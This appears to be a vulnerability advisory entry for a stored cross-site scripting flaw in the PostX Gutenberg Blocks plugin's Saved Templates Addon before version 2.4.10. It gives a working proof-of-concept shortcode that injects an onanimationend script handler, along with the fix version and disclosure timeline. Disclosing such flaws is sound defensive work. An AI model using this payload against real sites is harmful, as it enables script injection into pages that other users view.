WordPress Plugin Vulnerabilities
PostX Gutenberg Blocks Saved Templates Addon < 2.4.10 - Contributor+ Stored Cross-Site Scripting
Description
The plugin, with Saved Templates Addon enabled, allows users with a role as low as Contributor to perform Stored Cross-Site Scripting attacks via the plugin's shortcode.
Proof of Concept
Create a page as any user with the following shortcode block: [gutenberg_post_blocks id='a" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(origin)//']
Affects Plugins
Fixed in version 2.4.10
References
Classification
Miscellaneous
Original Researcher
apple502j
Submitter
apple502j
Verified
Yes
Timeline
Publicly Published
2021-08-26 (about 11 months ago)
Added
2021-08-26 (about 11 months ago)
Last Updated
2022-04-11 (about 4 months ago)